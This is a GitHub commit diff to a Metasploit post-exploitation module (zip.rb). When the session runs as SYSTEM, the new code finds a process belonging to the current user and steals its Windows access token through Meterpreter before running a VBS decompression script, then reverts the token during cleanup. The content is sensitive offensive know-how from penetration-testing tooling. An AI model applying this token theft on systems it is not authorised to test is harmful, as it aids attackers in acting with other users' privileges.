Skip to content

Commit 60937ec

Browse files
committed
If user is SYSTEM, then steal a token before decompression
1 parent 45801bc commit 60937ec

File tree

1 file changed

+53
-0
lines changed
  • modules/post/multi/manage

1 file changed

+53
-0
lines changed

modules/post/multi/manage/zip.rb

Lines changed: 53 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -8,6 +8,7 @@
88
class MetasploitModule < Msf::Post
99

1010
include Msf::Post::File
11+
include Msf::Post::Windows::Priv
1112

1213
def initialize(info={})
1314
super(update_info(info,
@@ -44,7 +45,48 @@ def vbs(dest, src)
4445
vbs_file
4546
end
4647

48+
def find_pid_by_user(username)
49+
computer_name = get_env('COMPUTERNAME')
50+
print_status("Searching for PID for #{computer_name}\\\\#{username}")
51+
session.sys.process.processes.each do |p|
52+
if p['user'] == "#{computer_name}\\#{username}"
53+
return p['pid']
54+
end
55+
end
56+
57+
nil
58+
end
59+
60+
def steal_token
61+
current_user = get_env('USERNAME')
62+
pid = find_pid_by_user(current_user)
63+
64+
unless pid
65+
fail_with(Failure::Unknown, "Unable to find a PID for #{current_user} to execute .vbs")
66+
end
67+
68+
print_status("Stealing token from PID #{pid} for #{current_user}")
69+
begin
70+
session.sys.config.steal_token(pid)
71+
rescue Rex::Post::Meterpreter::RequestError => e
72+
# It could raise an exception even when the token is successfully stolen,
73+
# so we will just log the exception and move on.
74+
elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
75+
end
76+
77+
@token_stolen = true
78+
end
79+
4780
def upload_exec_vbs_zip
81+
if is_system?
82+
unless session
83+
print_error('Unable to decompress with VBS technique without Meterpreter')
84+
return
85+
end
86+
87+
steal_token
88+
end
89+
4890
script = vbs(datastore['DESTINATION'], datastore['SOURCE'])
4991
tmp_path = "#{get_env('TEMP')}\\zip.vbs"
5092
print_status("VBS file uploaded to #{tmp_path}")
@@ -78,7 +120,18 @@ def linux_zip
78120
do_zip
79121
end
80122

123+
def cleanup
124+
if @token_stolen && session
125+
session.sys.config.revert_to_self
126+
print_status('Token restored.')
127+
end
128+
129+
super
130+
end
131+
81132
def run
133+
@token_stolen = false
134+
82135
os = get_target_os
83136
case os
84137
when Msf::Module::Platform::Windows.realname.downcase

0 commit comments

Comments
 (0)